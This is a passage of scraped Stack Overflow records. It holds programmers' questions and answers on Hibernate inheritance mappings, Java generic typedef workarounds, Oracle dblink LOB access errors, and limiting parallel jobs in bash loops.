"text": "<p>I think it's a wise decision made by the Hibernate team. They could be less arrogante and make it clear why it was implemented this way, but that's just how Emmanuel, Chris and Gavin works. :)</p>\n\n<p>Let's try to understand the problem. I think your concepts are \"lying\". First you say that many <strong>Problem</strong>s are associated to <strong>People</strong>. But, then you say that one <strong>Person</strong> have many <strong>UglyProblem</strong>s (and does not relate to other <strong>Problem</strong>s). Something is wrong with that design.</p>\n\n<p>Imagine how it's going to be mapped to the database. You have a single table inheritance, so:</p>\n\n<pre><code> _____________\n |__PROBLEMS__| |__PEOPLE__|\n |id <PK> | | |\n |person <FK> | -------->| |\n |problemType | |_________ |\n -------------- \n</code></pre>\n\n<p>How is hibernate going to enforce the database to make <strong>Problem</strong> only relate to <strong>People</strong> if its <strong>problemType</strong> is equal UP? That's a very difficult problem to solve. So, if you want this kind of relation, every subclass must be in it's own table. That's what <code>@MappedSuperclass</code> does.</p>\n\n<p>PS.: Sorry for the ugly drawing :D</p>\n"
},
{
"answer_id": 1923659,
"author": "Bill Leeper",
"author_id": 234014,
"author_profile": "https://Stackoverflow.com/users/234014",
"pm_score": 1,
"selected": false,
"text": "<p>I figured out how to do the OneToMany mappedBy problem. </p>\n\n<p>In the derived class UglyProblem from the original post. The callback method needs to be in the derived class not the parent class.</p>\n\n<pre><code>@Entity\n@Inheritance(strategy = InheritanceType.SINGLE_TABLE)\n@ForceDiscriminator\npublic class Problem {\n\n}\n\n@Entity\n@DiscriminatorValue(\"UP\")\npublic class UglyProblem extends Problem {\n @ManyToOne\n private Person person;\n}\n\n@Entity\npublic class Person {\n @OneToMany(mappedBy=\"person\")\n private List< UglyProblem > problems;\n}\n</code></pre>\n\n<p>Found the secret sauce for using Hibernate at least. <a href=\"http://docs.jboss.org/hibernate/stable/annotations/api/org/hibernate/annotations/ForceDiscriminator.html\" rel=\"nofollow noreferrer\">http://docs.jboss.org/hibernate/stable/annotations/api/org/hibernate/annotations/ForceDiscriminator.html</a> The @ForceDiscriminator makes the @OneToMany honor the discriminator</p>\n\n<p>Requires Hibernate Annotations.</p>\n"
},
{
"answer_id": 26091090,
"author": "Guillaume Carre",
"author_id": 1084836,
"author_profile": "https://Stackoverflow.com/users/1084836",
"pm_score": 3,
"selected": false,
"text": "<p>In my case I wanted to use the SINGLE_TABLE inheritance type, so using @MappedSuperclass wasn't an option.</p>\n\n<p>What works, although not very clean, is to add the Hibernate proprietary <a href=\"http://docs.jboss.org/hibernate/orm/4.2/javadocs/org/hibernate/annotations/Where.html\" rel=\"noreferrer\">@Where</a> clause to the @OneToMany association to force the type in queries:</p>\n\n<pre class=\"lang-java prettyprint-override\"><code>@OneToMany(mappedBy=\"person\")\n@Where(clause=\"DTYPE='UP'\")\nprivate List< UglyProblem > problems;\n</code></pre>\n"
},
{
"answer_id": 62408017,
"author": "Sašo Horvat",
"author_id": 13755527,
"author_profile": "https://Stackoverflow.com/users/13755527",
"pm_score": -1,
"selected": false,
"text": "<p>In my opinion @JoinColumn should at least provide an option to apply the @DiscriminatorColumn = @DiscriminatorValue to the SQL \"where\" clause, although I would prefer this behaviour to be a default one.</p>\n\n<p>I am very surprised that in the year 2020 this is still an issue.\nSince this object design pattern is not so rare, I think it is a disgrace for JPA not yet covering this simple feature in the specs, thus still forcing us to search for ugly workarounds.</p>\n\n<p>Why must this be so difficult? It is just an additional where clause and yes, I do have a db index prepared for @JoinColumn, @DiscriminatorColumn combo.</p>\n\n<p>.i.. JPA</p>\n\n<p>Introduce your own custom annotations and write code that generates native queries. It will be a good exercise.</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38057",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4052/"
] | ```
@Entity
@Inheritance(strategy = InheritanceType.SINGLE_TABLE)
public class Problem {
@ManyToOne
private Person person;
}
@Entity
@DiscriminatorValue("UP")
public class UglyProblem extends Problem {}
@Entity
public class Person {
@OneToMany(mappedBy="person")
private List< UglyProblem > problems;
}
```
I think it is pretty clear what I am trying to do. I expect @ManyToOne person to be inherited by UglyProblem class. But there will be an exception saying something like: "There is no such property found in UglyProblem class (mappedBy="person")".
All I found is [this](http://opensource.atlassian.com/projects/hibernate/browse/ANN-558). I was not able to find the post by Emmanuel Bernard explaining reasons behind this.
---
>
> Unfortunately, according to the Hibernate documentation "Properties from superclasses not mapped as @MappedSuperclass are ignored."
>
>
>
Well I think this means that if I have these two classes:
```
public class A {
private int foo;
}
@Entity
public class B extens A {
}
```
then field `foo` will not be mapped for class B. Which makes sense. But if I have something like this:
```
@Entity
public class Problem {
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
private Long id;
private String name;
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
@Entity
public class UglyProblem extends Problem {
private int levelOfUgliness;
public int getLevelOfUgliness() {
return levelOfUgliness;
}
public void setLevelOfUgliness(int levelOfUgliness) {
this.levelOfUgliness = levelOfUgliness;
}
}
```
I expect the class UglyProblem to have fileds `id` and `name` and both classes to be mapped using same table. (In fact, this is exactly what happens, I have just checked again). I have got this table:
```
CREATE TABLE "problem" (
"DTYPE" varchar(31) NOT NULL,
"id" bigint(20) NOT NULL auto_increment,
"name" varchar(255) default NULL,
"levelOfUgliness" int(11) default NULL,
PRIMARY KEY ("id")
) AUTO_INCREMENT=2;
```
Going back to my question:
>
> I expect @ManyToOne person to be inherited by UglyProblem class.
>
>
>
I expect that because all other mapped fields are inherited and I do not see any reason to make this exception for ManyToOne relationships.
---
Yeah, I saw that. In fact, I used Read-Only solution for my case. But my question was "Why..." :). I know that there is an explanation given by a member of hibernate team. I was not able to find it and that is why I asked.
I want to find out the motivation of this design decision.
(if you interested how I have faced this problem: I inherited a project built using hibernate 3. It was Jboss 4.0.something + hibernate was already there (you'd download it all together). I was moving this project to Jboss 4.2.2 and I found out that there are inherited mappings of "@OneToMany mappedBy" and it worked fine on old setup...) | I think it's a wise decision made by the Hibernate team. They could be less arrogante and make it clear why it was implemented this way, but that's just how Emmanuel, Chris and Gavin works. :)
Let's try to understand the problem. I think your concepts are "lying". First you say that many **Problem**s are associated to **People**. But, then you say that one **Person** have many **UglyProblem**s (and does not relate to other **Problem**s). Something is wrong with that design.
Imagine how it's going to be mapped to the database. You have a single table inheritance, so:
```
_____________
|__PROBLEMS__| |__PEOPLE__|
|id <PK> | | |
|person <FK> | -------->| |
|problemType | |_________ |
--------------
```
How is hibernate going to enforce the database to make **Problem** only relate to **People** if its **problemType** is equal UP? That's a very difficult problem to solve. So, if you want this kind of relation, every subclass must be in it's own table. That's what `@MappedSuperclass` does.
PS.: Sorry for the ugly drawing :D |
38,068 | <p>Is there any shorthand way of defining and using generic definitions without having to keep repeating a particular generic description such that if there is a change I don't have to change all definitions/usages though out the codebase for example is something like this possible:</p>
<pre><code>Typedef myGenDef = < Object1, Object2 >;
HashMap< myGenDef > hm = new HashMap< myGenDef >();
for (Entry< myGenDef > ent : hm..entrySet())
{
.
.
.
}
</code></pre>
| [
{
"answer_id": 38098,
"author": "Aaron Maenpaa",
"author_id": 2603,
"author_profile": "https://Stackoverflow.com/users/2603",
"pm_score": 1,
"selected": false,
"text": "<p>No. Though, groovy, a JVM language, is dynamically typed and would let you write:</p>\n\n<pre><code>def map = new HashMap<complicated generic expression>();\n</code></pre>\n"
},
{
"answer_id": 38102,
"author": "Shog9",
"author_id": 811,
"author_profile": "https://Stackoverflow.com/users/811",
"pm_score": 5,
"selected": true,
"text": "<p>There's the <a href=\"http://www.ibm.com/developerworks/java/library/j-jtp02216/index.html\" rel=\"nofollow noreferrer\">pseudo-typedef antipattern</a>... </p>\n\n<pre><code>class StringList extends ArrayList<String> { }\n</code></pre>\n\n<p>Good stuff, drink up! ;-)</p>\n\n<p>As the article notes, this technique has some serious issues, primarily that this \"typedef\" is actually a separate class and thus cannot be used interchangeably with either the type it extends or other similarly defined types.</p>\n"
},
{
"answer_id": 38116,
"author": "Sébastien RoccaSerra",
"author_id": 2797,
"author_profile": "https://Stackoverflow.com/users/2797",
"pm_score": 2,
"selected": false,
"text": "<p>In a generic method, you can use a limited form of type inferrence to avoid some repetitions.</p>\n\n<p>Example: if you have the function</p>\n\n<pre><code> <K, V> Map<K, V> getSomething() {\n //...\n }\n</code></pre>\n\n<p>you can use:</p>\n\n<pre><code>final Map<String, Object> something = getsomething();\n</code></pre>\n\n<p>instead of:</p>\n\n<pre><code>final Map<String, Object> something = this.<String, Object>getsomething();\n</code></pre>\n"
},
{
"answer_id": 38118,
"author": "zaca",
"author_id": 3031,
"author_profile": "https://Stackoverflow.com/users/3031",
"pm_score": 2,
"selected": false,
"text": "<p>Use <a href=\"http://en.wikipedia.org/wiki/Abstract_factory_pattern\" rel=\"nofollow noreferrer\">Factory Pattern</a> for creation of Generics:</p>\n\n<p>Method Sample:</p>\n\n<pre><code>public Map<String, Integer> createGenMap(){\n return new HashMap<String,Integer>();\n\n }\n</code></pre>\n"
},
{
"answer_id": 39325,
"author": "Marcio Aguiar",
"author_id": 4213,
"author_profile": "https://Stackoverflow.com/users/4213",
"pm_score": 2,
"selected": false,
"text": "<p>The pseudo-typedef antipattern mentioned by Shog9 would work - though it's not recommended to use an ANTIPATTERN - but it does not address your intentions. The goal of pseudo-typedef is to reduce clutter in declaration and improve readability. </p>\n\n<p>What you want is to be able to replace a group of generics declarations by one single trade. I think you have to stop and think: \"in witch ways is it valuable?\". I mean, I can't think of a scenario where you would need this. Imagine class A:</p>\n\n<pre><code>class A {\n private Map<String, Integer> values = new HashMap<String, Integer>();\n}\n</code></pre>\n\n<p>Imagine now that I want to change the 'values' field to a Map. Why would exist many other fields scattered through the code that needs the same change? As for the operations that uses 'values' a simple refactoring would be enough.</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38068",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] | Is there any shorthand way of defining and using generic definitions without having to keep repeating a particular generic description such that if there is a change I don't have to change all definitions/usages though out the codebase for example is something like this possible:
```
Typedef myGenDef = < Object1, Object2 >;
HashMap< myGenDef > hm = new HashMap< myGenDef >();
for (Entry< myGenDef > ent : hm..entrySet())
{
.
.
.
}
``` | There's the [pseudo-typedef antipattern](http://www.ibm.com/developerworks/java/library/j-jtp02216/index.html)...
```
class StringList extends ArrayList<String> { }
```
Good stuff, drink up! ;-)
As the article notes, this technique has some serious issues, primarily that this "typedef" is actually a separate class and thus cannot be used interchangeably with either the type it extends or other similarly defined types. |
38,074 | <p>If you create an Oracle dblink you cannot directly access LOB columns in the target tables.</p>
<p>For instance, you create a dblink with:</p>
<pre><code>create database link TEST_LINK
connect to TARGETUSER IDENTIFIED BY password using 'DATABASESID';
</code></pre>
<p>After this you can do stuff like:</p>
<pre><code>select column_a, column_b
from data_user.sample_table@TEST_LINK
</code></pre>
<p>Except if the column is a LOB, then you get the error:</p>
<pre><code>ORA-22992: cannot use LOB locators selected from remote tables
</code></pre>
<p>This is <a href="http://docs.oracle.com/cd/B10501_01/appdev.920/a96591/adl04mng.htm#98328" rel="noreferrer">a documented restriction</a>.</p>
<p>The same page suggests you fetch the values into a local table, but that is... kind of messy:</p>
<pre><code>CREATE TABLE tmp_hello
AS SELECT column_a
from data_user.sample_table@TEST_LINK
</code></pre>
<p>Any other ideas?</p>
| [
{
"answer_id": 38142,
"author": "hamishmcn",
"author_id": 3590,
"author_profile": "https://Stackoverflow.com/users/3590",
"pm_score": 0,
"selected": false,
"text": "<p>Do you have a specific scenario in mind?\nFor example, if the LOB holds files, and you are on a company intranet, perhaps you can write a stored procedure to extract the files to a known directory on the network and access them from there.</p>\n"
},
{
"answer_id": 38146,
"author": "morais",
"author_id": 2846,
"author_profile": "https://Stackoverflow.com/users/2846",
"pm_score": 0,
"selected": false,
"text": "<p>In this specific case can the only way the two systems can communicate is using the dblink.</p>\n\n<p>Also, the table solution is not that terrible, it's just messy to have to \"cache\" the data on my side of the dblink.</p>\n"
},
{
"answer_id": 40159,
"author": "hamishmcn",
"author_id": 3590,
"author_profile": "https://Stackoverflow.com/users/3590",
"pm_score": 4,
"selected": true,
"text": "<p>Yeah, it is messy, I can't think of a way to avoid it though.<br>\nYou could hide some of the messiness from the client by putting the temporary table creation in a stored procedure (and using \"execute immediate\" to create they table)<br>\nOne thing you will need to watch out for is left over temporary tables (should something fail half way through a session, before you have had time to clean it up) - you could schedule an oracle job to periodically run and remove any left over tables. </p>\n"
},
{
"answer_id": 303002,
"author": "Luis HGO",
"author_id": 6652,
"author_profile": "https://Stackoverflow.com/users/6652",
"pm_score": 1,
"selected": false,
"text": "<p>You could use materalized views to handle all the \"cache\" management. It´s not perfect but works in most cases :)</p>\n"
},
{
"answer_id": 14547653,
"author": "user2015502",
"author_id": 2015502,
"author_profile": "https://Stackoverflow.com/users/2015502",
"pm_score": 4,
"selected": false,
"text": "<p>The best solution by using a query as below, where column_b is a BLOB:</p>\n\n<pre><code>SELECT (select column_b from sample_table@TEST_LINK) AS column_b FROM DUAL\n</code></pre>\n"
},
{
"answer_id": 39894465,
"author": "PT_STAR",
"author_id": 3619883,
"author_profile": "https://Stackoverflow.com/users/3619883",
"pm_score": 2,
"selected": false,
"text": "<p>For query data, the solution of user2015502 is the smartest. If you want to insert or update LOB's <strong>AT</strong> the remote database (insert into xxx@yyy ...) you can easily use dynamic SQL for that. See <a href=\"http://www.armbruster-it.org/index.php/14-it/oracle/29-how-to-transfer-oracle-blob-clob-via-database-link\" rel=\"nofollow\">my solution here:</a></p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38074",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2846/"
] | If you create an Oracle dblink you cannot directly access LOB columns in the target tables.
For instance, you create a dblink with:
```
create database link TEST_LINK
connect to TARGETUSER IDENTIFIED BY password using 'DATABASESID';
```
After this you can do stuff like:
```
select column_a, column_b
from data_user.sample_table@TEST_LINK
```
Except if the column is a LOB, then you get the error:
```
ORA-22992: cannot use LOB locators selected from remote tables
```
This is [a documented restriction](http://docs.oracle.com/cd/B10501_01/appdev.920/a96591/adl04mng.htm#98328).
The same page suggests you fetch the values into a local table, but that is... kind of messy:
```
CREATE TABLE tmp_hello
AS SELECT column_a
from data_user.sample_table@TEST_LINK
```
Any other ideas? | Yeah, it is messy, I can't think of a way to avoid it though.
You could hide some of the messiness from the client by putting the temporary table creation in a stored procedure (and using "execute immediate" to create they table)
One thing you will need to watch out for is left over temporary tables (should something fail half way through a session, before you have had time to clean it up) - you could schedule an oracle job to periodically run and remove any left over tables. |
38,160 | <p>Lets say I have a loop in Bash:</p>
<pre><code>for foo in `some-command`
do
do-something $foo
done
</code></pre>
<p><code>do-something</code> is cpu bound and I have a nice shiny 4 core processor. I'd like to be able to run up to 4 <code>do-something</code>'s at once.</p>
<p>The naive approach seems to be:</p>
<pre><code>for foo in `some-command`
do
do-something $foo &
done
</code></pre>
<p>This will run <em>all</em> <code>do-something</code>s at once, but there are a couple downsides, mainly that do-something may also have some significant I/O which performing <em>all</em> at once might slow down a bit. The other problem is that this code block returns immediately, so no way to do other work when all the <code>do-something</code>s are finished.</p>
<p>How would you write this loop so there are always X <code>do-something</code>s running at once?</p>
| [
{
"answer_id": 38166,
"author": "skolima",
"author_id": 3205,
"author_profile": "https://Stackoverflow.com/users/3205",
"pm_score": 4,
"selected": false,
"text": "<p>Instead of a plain bash, use a Makefile, then specify number of simultaneous jobs with <code>make -jX</code> where X is the number of jobs to run at once.</p>\n\n<p>Or you can use <code>wait</code> (\"<code>man wait</code>\"): launch several child processes, call <code>wait</code> - it will exit when the child processes finish.</p>\n\n<pre><code>maxjobs = 10\n\nforeach line in `cat file.txt` {\n jobsrunning = 0\n while jobsrunning < maxjobs {\n do job &\n jobsrunning += 1\n }\nwait\n}\n\njob ( ){\n...\n}\n</code></pre>\n\n<p>If you need to store the job's result, then assign their result to a variable. After <code>wait</code> you just check what the variable contains.</p>\n"
},
{
"answer_id": 38171,
"author": "tessein",
"author_id": 3075,
"author_profile": "https://Stackoverflow.com/users/3075",
"pm_score": 3,
"selected": false,
"text": "<p>Maybe try a parallelizing utility instead rewriting the loop? I'm a big fan of xjobs. I use xjobs all the time to mass copy files across our network, usually when setting up a new database server.\n<a href=\"http://www.maier-komor.de/xjobs.html\" rel=\"noreferrer\">http://www.maier-komor.de/xjobs.html</a></p>\n"
},
{
"answer_id": 38225,
"author": "bstark",
"author_id": 4056,
"author_profile": "https://Stackoverflow.com/users/4056",
"pm_score": 4,
"selected": false,
"text": "<pre>\nmaxjobs=4\nparallelize () {\n while [ $# -gt 0 ] ; do\n jobcnt=(`jobs -p`)\n if [ ${#jobcnt[@]} -lt $maxjobs ] ; then\n do-something $1 &\n shift \n else\n sleep 1\n fi\n done\n wait\n}\n\nparallelize arg1 arg2 \"5 args to third job\" arg4 ...\n</pre>\n"
},
{
"answer_id": 42809,
"author": "Jon Ericson",
"author_id": 1438,
"author_profile": "https://Stackoverflow.com/users/1438",
"pm_score": 2,
"selected": false,
"text": "<p>The project I work on uses the <strong>wait</strong> command to control parallel shell (ksh actually) processes. To address your concerns about IO, on a modern OS, it's possible parallel execution will actually increase efficiency. If all processes are reading the same blocks on disk, only the first process will have to hit the physical hardware. The other processes will often be able to retrieve the block from OS's disk cache in memory. Obviously, reading from memory is several orders of magnitude quicker than reading from disk. Also, the benefit requires no coding changes.</p>\n"
},
{
"answer_id": 880864,
"author": "Grumbel",
"author_id": 28113,
"author_profile": "https://Stackoverflow.com/users/28113",
"pm_score": 4,
"selected": false,
"text": "<p>Here an alternative solution that can be inserted into .bashrc and used for everyday one liner:</p>\n\n<pre><code>function pwait() {\n while [ $(jobs -p | wc -l) -ge $1 ]; do\n sleep 1\n done\n}\n</code></pre>\n\n<p>To use it, all one has to do is put <code>&</code> after the jobs and a pwait call, the parameter gives the number of parallel processes:</p>\n\n<pre><code>for i in *; do\n do_something $i &\n pwait 10\ndone\n</code></pre>\n\n<p>It would be nicer to use <code>wait</code> instead of busy waiting on the output of <code>jobs -p</code>, but there doesn't seem to be an obvious solution to wait till any of the given jobs is finished instead of a all of them.</p>\n"
},
{
"answer_id": 881392,
"author": "lhunath",
"author_id": 58803,
"author_profile": "https://Stackoverflow.com/users/58803",
"pm_score": 3,
"selected": false,
"text": "<p>While doing this right in <code>bash</code> is probably impossible, you can do a semi-right fairly easily. <code>bstark</code> gave a fair approximation of right but his has the following flaws:</p>\n\n<ul>\n<li>Word splitting: You can't pass any jobs to it that use any of the following characters in their arguments: spaces, tabs, newlines, stars, question marks. If you do, things will break, possibly unexpectedly.</li>\n<li>It relies on the rest of your script to not background anything. If you do, or later you add something to the script that gets sent in the background because you forgot you weren't allowed to use backgrounded jobs because of his snippet, things will break.</li>\n</ul>\n\n<p>Another approximation which doesn't have these flaws is the following:</p>\n\n<pre><code>scheduleAll() {\n local job i=0 max=4 pids=()\n\n for job; do\n (( ++i % max == 0 )) && {\n wait \"${pids[@]}\"\n pids=()\n }\n\n bash -c \"$job\" & pids+=(\"$!\")\n done\n\n wait \"${pids[@]}\"\n}\n</code></pre>\n\n<p>Note that this one is easily adaptable to also check the exit code of each job as it ends so you can warn the user if a job fails or set an exit code for <code>scheduleAll</code> according to the amount of jobs that failed, or something.</p>\n\n<p>The problem with this code is just that:</p>\n\n<ul>\n<li>It schedules four (in this case) jobs at a time and then waits for all four to end. Some might be done sooner than others which will cause the next batch of four jobs to wait until the longest of the previous batch is done.</li>\n</ul>\n\n<p>A solution that takes care of this last issue would have to use <code>kill -0</code> to poll whether any of the processes have disappeared instead of the <code>wait</code> and schedule the next job. However, that introduces a small new problem: you have a race condition between a job ending, and the <code>kill -0</code> checking whether it's ended. If the job ended and another process on your system starts up at the same time, taking a random PID which happens to be that of the job that just finished, the <code>kill -0</code> won't notice your job having finished and things will break again.</p>\n\n<p>A perfect solution isn't possible in <code>bash</code>.</p>\n"
},
{
"answer_id": 881450,
"author": "Fritz G. Mehner",
"author_id": 57457,
"author_profile": "https://Stackoverflow.com/users/57457",
"pm_score": 7,
"selected": true,
"text": "<p>Depending on what you want to do xargs also can help (here: converting documents with pdf2ps):</p>\n\n<pre><code>cpus=$( ls -d /sys/devices/system/cpu/cpu[[:digit:]]* | wc -w )\n\nfind . -name \\*.pdf | xargs --max-args=1 --max-procs=$cpus pdf2ps\n</code></pre>\n\n<p>From the docs:</p>\n\n<pre><code>--max-procs=max-procs\n-P max-procs\n Run up to max-procs processes at a time; the default is 1.\n If max-procs is 0, xargs will run as many processes as possible at a\n time. Use the -n option with -P; otherwise chances are that only one\n exec will be done.\n</code></pre>\n"
},
{
"answer_id": 894986,
"author": "Idelic",
"author_id": 109744,
"author_profile": "https://Stackoverflow.com/users/109744",
"pm_score": 3,
"selected": false,
"text": "<p>If you're familiar with the <code>make</code> command, most of the time you can express the list of commands you want to run as a a makefile. For example, if you need to run $SOME_COMMAND on files *.input each of which produces *.output, you can use the makefile</p>\n\n<pre>\nINPUT = a.input b.input\nOUTPUT = $(INPUT:.input=.output)\n\n%.output : %.input\n $(SOME_COMMAND) $< $@\n\nall: $(OUTPUT)\n</pre>\n\n<p>and then just run</p>\n\n<pre>\nmake -j<NUMBER>\n</pre>\n\n<p>to run at most NUMBER commands in parallel.</p>\n"
},
{
"answer_id": 3011097,
"author": "Ole Tange",
"author_id": 363028,
"author_profile": "https://Stackoverflow.com/users/363028",
"pm_score": 5,
"selected": false,
"text": "<p>With GNU Parallel <a href=\"http://www.gnu.org/software/parallel/\" rel=\"noreferrer\">http://www.gnu.org/software/parallel/</a> you can write:</p>\n\n<pre><code>some-command | parallel do-something\n</code></pre>\n\n<p>GNU Parallel also supports running jobs on remote computers. This will run one per CPU core on the remote computers - even if they have different number of cores:</p>\n\n<pre><code>some-command | parallel -S server1,server2 do-something\n</code></pre>\n\n<p>A more advanced example: Here we list of files that we want my_script to run on. Files have extension (maybe .jpeg). We want the output of my_script to be put next to the files in basename.out (e.g. foo.jpeg -> foo.out). We want to run my_script once for each core the computer has and we want to run it on the local computer, too. For the remote computers we want the file to be processed transferred to the given computer. When my_script finishes, we want foo.out transferred back and we then want foo.jpeg and foo.out removed from the remote computer:</p>\n\n<pre><code>cat list_of_files | \\\nparallel --trc {.}.out -S server1,server2,: \\\n\"my_script {} > {.}.out\"\n</code></pre>\n\n<p>GNU Parallel makes sure the output from each job does not mix, so you can use the output as input for another program:</p>\n\n<pre><code>some-command | parallel do-something | postprocess\n</code></pre>\n\n<p>See the videos for more examples: <a href=\"https://www.youtube.com/playlist?list=PL284C9FF2488BC6D1\" rel=\"noreferrer\">https://www.youtube.com/playlist?list=PL284C9FF2488BC6D1</a></p>\n"
},
{
"answer_id": 6773673,
"author": "cat",
"author_id": 712124,
"author_profile": "https://Stackoverflow.com/users/712124",
"pm_score": 1,
"selected": false,
"text": "<p>This might be good enough for most purposes, but is not optimal.</p>\n\n<pre><code>#!/bin/bash\n\nn=0\nmaxjobs=10\n\nfor i in *.m4a ; do\n # ( DO SOMETHING ) &\n\n # limit jobs\n if (( $(($((++n)) % $maxjobs)) == 0 )) ; then\n wait # wait until all have finished (not optimal, but most times good enough)\n echo $n wait\n fi\ndone\n</code></pre>\n"
},
{
"answer_id": 8196788,
"author": "Adam Zalcman",
"author_id": 1023815,
"author_profile": "https://Stackoverflow.com/users/1023815",
"pm_score": 0,
"selected": false,
"text": "<p>You can use a simple nested for loop (substitute appropriate integers for N and M below):</p>\n\n<pre><code>for i in {1..N}; do\n (for j in {1..M}; do do_something; done & );\ndone\n</code></pre>\n\n<p>This will execute do_something N*M times in M rounds, each round executing N jobs in parallel. You can make N equal the number of CPUs you have.</p>\n"
},
{
"answer_id": 9392829,
"author": "ilnar",
"author_id": 1225511,
"author_profile": "https://Stackoverflow.com/users/1225511",
"pm_score": 2,
"selected": false,
"text": "<p>function for bash:</p>\n\n<pre><code>parallel ()\n{\n awk \"BEGIN{print \\\"all: ALL_TARGETS\\\\n\\\"}{print \\\"TARGET_\\\"NR\\\":\\\\n\\\\t@-\\\"\\$0\\\"\\\\n\\\"}END{printf \\\"ALL_TARGETS:\\\";for(i=1;i<=NR;i++){printf \\\" TARGET_%d\\\",i};print\\\"\\\\n\\\"}\" | make $@ -f - all\n}\n</code></pre>\n\n<p>using:</p>\n\n<pre><code>cat my_commands | parallel -j 4\n</code></pre>\n"
},
{
"answer_id": 21156538,
"author": "Jack",
"author_id": 1327414,
"author_profile": "https://Stackoverflow.com/users/1327414",
"pm_score": -1,
"selected": false,
"text": "<p>$DOMAINS = \"list of some domain in commands\"\nfor foo in <code>some-command</code>\ndo</p>\n\n<pre><code>eval `some-command for $DOMAINS` &\n\n job[$i]=$!\n\n i=$(( i + 1))\n</code></pre>\n\n<p>done</p>\n\n<p>Ndomains=<code>echo $DOMAINS |wc -w</code></p>\n\n<p>for i in $(seq 1 1 $Ndomains)\ndo\n echo \"wait for ${job[$i]}\"\n wait \"${job[$i]}\"\ndone</p>\n\n<p>in this concept will work for the parallelize. important thing is last line of eval is '&'\nwhich will put the commands to backgrounds.</p>\n"
},
{
"answer_id": 33108323,
"author": "Fernando",
"author_id": 1543263,
"author_profile": "https://Stackoverflow.com/users/1543263",
"pm_score": 1,
"selected": false,
"text": "<p>Here is how I managed to solve this issue in a bash script:</p>\n\n<pre><code> #! /bin/bash\n\n MAX_JOBS=32\n\n FILE_LIST=($(cat ${1}))\n\n echo Length ${#FILE_LIST[@]}\n\n for ((INDEX=0; INDEX < ${#FILE_LIST[@]}; INDEX=$((${INDEX}+${MAX_JOBS})) ));\n do\n JOBS_RUNNING=0\n while ((JOBS_RUNNING < MAX_JOBS))\n do\n I=$((${INDEX}+${JOBS_RUNNING}))\n FILE=${FILE_LIST[${I}]}\n if [ \"$FILE\" != \"\" ];then\n echo $JOBS_RUNNING $FILE\n ./M22Checker ${FILE} &\n else\n echo $JOBS_RUNNING NULL &\n fi\n JOBS_RUNNING=$((JOBS_RUNNING+1))\n done\n wait\n done\n</code></pre>\n"
},
{
"answer_id": 39189370,
"author": "Orsiris de Jong",
"author_id": 2635443,
"author_profile": "https://Stackoverflow.com/users/2635443",
"pm_score": 0,
"selected": false,
"text": "<p>My solution to always keep a given number of processes running, keep tracking of errors and handle ubnterruptible / zombie processes:</p>\n\n<pre><code>function log {\n echo \"$1\"\n}\n\n# Take a list of commands to run, runs them sequentially with numberOfProcesses commands simultaneously runs\n# Returns the number of non zero exit codes from commands\nfunction ParallelExec {\n local numberOfProcesses=\"${1}\" # Number of simultaneous commands to run\n local commandsArg=\"${2}\" # Semi-colon separated list of commands\n\n local pid\n local runningPids=0\n local counter=0\n local commandsArray\n local pidsArray\n local newPidsArray\n local retval\n local retvalAll=0\n local pidState\n local commandsArrayPid\n\n IFS=';' read -r -a commandsArray <<< \"$commandsArg\"\n\n log \"Runnning ${#commandsArray[@]} commands in $numberOfProcesses simultaneous processes.\"\n\n while [ $counter -lt \"${#commandsArray[@]}\" ] || [ ${#pidsArray[@]} -gt 0 ]; do\n\n while [ $counter -lt \"${#commandsArray[@]}\" ] && [ ${#pidsArray[@]} -lt $numberOfProcesses ]; do\n log \"Running command [${commandsArray[$counter]}].\"\n eval \"${commandsArray[$counter]}\" &\n pid=$!\n pidsArray+=($pid)\n commandsArrayPid[$pid]=\"${commandsArray[$counter]}\"\n counter=$((counter+1))\n done\n\n\n newPidsArray=()\n for pid in \"${pidsArray[@]}\"; do\n # Handle uninterruptible sleep state or zombies by ommiting them from running process array (How to kill that is already dead ? :)\n if kill -0 $pid > /dev/null 2>&1; then\n pidState=$(ps -p$pid -o state= 2 > /dev/null)\n if [ \"$pidState\" != \"D\" ] && [ \"$pidState\" != \"Z\" ]; then\n newPidsArray+=($pid)\n fi\n else\n # pid is dead, get it's exit code from wait command\n wait $pid\n retval=$?\n if [ $retval -ne 0 ]; then\n log \"Command [${commandsArrayPid[$pid]}] failed with exit code [$retval].\"\n retvalAll=$((retvalAll+1))\n fi\n fi\n done\n pidsArray=(\"${newPidsArray[@]}\")\n\n # Add a trivial sleep time so bash won't eat all CPU\n sleep .05\n done\n\n return $retvalAll\n}\n</code></pre>\n\n<p>Usage:</p>\n\n<pre><code>cmds=\"du -csh /var;du -csh /tmp;sleep 3;du -csh /root;sleep 10; du -csh /home\"\n\n# Execute 2 processes at a time\nParallelExec 2 \"$cmds\"\n\n# Execute 4 processes at a time\nParallelExec 4 \"$cmds\"\n</code></pre>\n"
},
{
"answer_id": 54472111,
"author": "Skrat",
"author_id": 316622,
"author_profile": "https://Stackoverflow.com/users/316622",
"pm_score": 2,
"selected": false,
